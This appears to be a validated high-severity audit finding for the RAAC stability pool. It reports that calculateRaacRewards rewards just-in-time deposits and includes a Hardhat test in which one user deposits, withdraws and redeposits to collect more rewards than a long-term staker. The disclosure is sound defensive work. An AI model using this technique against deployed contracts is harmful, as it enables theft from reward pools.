Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Attacker can drain RAAC rewards in the stability pool

Summary

Staking reward distributions are designed to favor long-term liquidity providers over short-term participants. However, the StabilityPool::calculateRaacRewards function does not differentiate between them, allowing an attacker to repeatedly deposit and withdraw, potentially draining the pool.

Vulnerability Details

Note that this vulnerability can be applied to different parts of the codebase such as the rewards distribution in the gauges or the fee controller, where no vesting is applied in the rewards distribution and therefore a user could buy and withdraw tokens mulitple times from different accounts to drain the rewards pool.

Impact

Paste the following in the stability pool tests:

it("should distribute rewards proportionally", async function () {
await rToken.connect(user2).approve(stabilityPool.target, ethers.parseEther("100"));
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
await stabilityPool.connect(user2).deposit(ethers.parseEther("100"));
await ethers.provider.send("evm_increaseTime", [86400]);
await ethers.provider.send("evm_mine");
await raacMinter.tick();
// const user1Rewards = await stabilityPool.calculateRaacRewards(user1.address);
// const user2Rewards = await stabilityPool.calculateRaacRewards(user2.address);
// // Convert to numbers for ratio calculation
// const ratio = Number(user1Rewards) / Number(user2Rewards);
// expect(ratio).to.be.closeTo(2, 0.1); // Allow 10% deviation
await deToken.connect(user1).approve(stabilityPool.target, ethers.parseEther("200"));
await deToken.connect(user2).approve(stabilityPool.target, ethers.parseEther("100"));
await stabilityPool.connect(user1).withdraw(ethers.parseEther("100"));
await rToken.connect(user1).approve(stabilityPool.target, ethers.parseEther("100"));
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
await stabilityPool.connect(user1).withdraw(ethers.parseEther("100"));
await stabilityPool.connect(user2).withdraw(ethers.parseEther("100"));
expect(await raacToken.balanceOf(user1.address)).to.be.gt(await raacToken.balanceOf(user2.address));
});

Tools Used

Manual review.

Recommendations

Distribute rewards according to the staked time.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.